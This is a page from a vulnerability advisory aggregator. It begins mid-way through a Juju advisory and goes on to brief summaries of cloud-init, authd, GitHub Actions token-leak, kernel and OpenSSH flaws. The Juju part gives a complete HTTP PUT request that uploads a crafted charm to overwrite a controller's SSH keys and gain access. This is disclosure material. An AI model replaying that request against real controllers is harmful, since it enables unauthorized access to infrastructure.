Send the PUT request below to a model on the target controller. Note the following: - the model UUID and controller IP address in the request must be updated - the Juju-Curl header needs to be sent with a value that starts with the “local:” string - the PUT body content should have the exact contents of the ZIP file - the Basic Authorization header should be tied to the user that was created above - the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. pathtw-<updated-sha>) - PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c HTTP/1.1 Host: 10.4.154.217:17070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko /20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Connection: keep-alive Content-Length: 40021 Content-Type: application/zip Juju-Curl: local:pathtw Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA== <ZIP BODY Content>

Observe that the response states that the charm has been uploaded.

Attempt to SSH to the controller by using the private key that was generated above.

Observe that it is possible to authenticate because the file has been overwritten.

Code

The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990

And the only auth required is that the incoming request be for an authenticated user

https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754

but no specific permission checks are done.

Workarounds There are no known workarounds.

References F-02

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

When a non-x86 platform is detected, cloud-init grants root access to a hardcoded url with a local IP address. To prevent this, cloud-init default configurations disable platform enumeration.

1 / 2
Source: Red Hat
First published (updated )
Severity
8.5
EPSS
0.01%
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Impact When an authd user logs in via SSH for the first time (meaning they do not yet exist in the authd user database) and successfully authenticates via the configured broker, the user is considered a member of the root group in the context of that SSH session. This situation may allow the user to read and write files that are accessible by the root group, to which they should not have access. The user does not get root privileges or any capabilities beyond the access granted to the root group.

Preconditions under which this vulnerability affects a system authd was installed via the PPA. An OAuth 2.0 application was registered in Microsoft Entra ID or Google IAM, and the respective authd broker was installed (authd-msentraid or authd-google) and configured. sshd was configured to enable SSH access with authd, i.e.: UsePAM yes KbdInteractiveAuthentication yes The username is allowed by the sshallowedsuffixes option in the broker configuriation. The user is allowed by the allowedusers option in the broker configuration. The user successfully authenticates via the authd broker (Entra ID or Google IAM). The user did not log in locally before.

Patches Fixed by https://github.com/ubuntu/authd/commit/619ce8e55953b970f1765ddaad565081538151ab

Workarounds Configure the SSH server to not allow authenticating via authd, for example by setting UsePAM no or KbdInteractiveAuthentication no in the sshdconfig (see https://documentation.ubuntu.com/authd/stable/howto/login-ssh/#ssh-configuration).

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
EPSS
0.04%
AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H

Impact Users using the github-token input are impacted.

If the get-workflow-version-action step fails, the exception output may include the GITHUBTOKEN. If the full token is included in the exception output, GitHub will automatically redact the secret from the GitHub Actions logs. However, the token may be truncated—causing part of the GITHUBTOKEN to be displayed in plaintext in the GitHub Actions logs.

Anyone with read access to the GitHub repository can view GitHub Actions logs. For public repositories, anyone can view the GitHub Actions logs.

The opportunity to exploit this vulnerability is limited—the GITHUBTOKEN is automatically revoked when the job completes. However, there is an opportunity for an attack in the time between the GITHUBTOKEN being displayed in the logs and the completion of the job. Normally this is less than a second, but it may be greater if continue-on-error is used in the get-workflow-version-action step or if status check functions are used in a later step in the same job. For an example of an attack in the time between the GITHUBTOKEN being displayed in the logs & the completion of the job, see https://www.praetorian.com/blog/codeqleaked-public-secrets-exposure-leads-to-supply-chain-attack-on-github-codeql/

For users who passed the GITHUBTOKEN to the github-token input, update to v1.0.1. Any secrets that were partially leaked while using v1.0.0 should have already been revoked, since the GITHUBTOKEN is automatically revoked when the job completes. However, in the unlikely event that an attack was executed using a GITHUBTOKEN before it was revoked (as described above), users' repositories may still be impacted—for example, a sophisticated attack could have used the GITHUBTOKEN to push something to the repository.

The potential effects of an attack depend on the permissions of any GITHUBTOKENs that were leaked. However, in a very sophisticated attack, even a GITHUBTOKEN with read-only permissions can affect other GitHub Actions in the same repository if those actions use the Actions cache. For more information, see the "But Wait, There’s More" section of https://www.praetorian.com/blog/codeqleaked-public-secrets-exposure-leads-to-supply-chain-attack-on-github-codeql/ and https://github.com/AdnaneKhan/Cacheract

If any users used a long-lived secret (e.g. a personal access token) instead of the GITHUBTOKEN in the github-token input, they should immediately revoke that secret. The get-workflow-version-action's documentation & examples all instructed the user to use the GITHUBTOKEN, so it is unlikely that users used a long-lived secret instead of the GITHUBTOKEN.

Patches This has been fixed in v1.0.1. Also, the v1 tag has been updated to include the fix.

References https://github.com/canonical/get-workflow-version-action/issues/2

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Running DDoS on tcp port 22 will trigger a kernel crash. This issue is introduced by the backport of a commit regarding nftlookup without the subsequent fixes that were introduced after this commit. The resolution of this CVE introduces those commits to the linux-bluefield package.

First published (updated )
Severity
7.5
EPSS
23.44%
Input Validation, Double Free, Use After Free
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in the OpenSSH package. For each ping packet the SSH server receives, a pong packet is allocated in a memory buffer and stored in a queue of packages. It is only freed when the server/client key exchange has finished. A malicious client may keep sending such packages, leading to an uncontrolled increase in memory consumption on the server side. Consequently, the server may become unavailable, resulting in a denial of service attack.

1 / 36
Source: F5
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Users can consume unlimited disk space in /var/crash

First published (updated )
Severity
7.6
EPSS
0.04%
AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Authd, through version 0.3.6, did not sufficiently randomize user IDs to prevent collisions. A local attacker who can register user names could spoof another user's ID and gain their privileges.

1 / 2
Source: MITRE
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203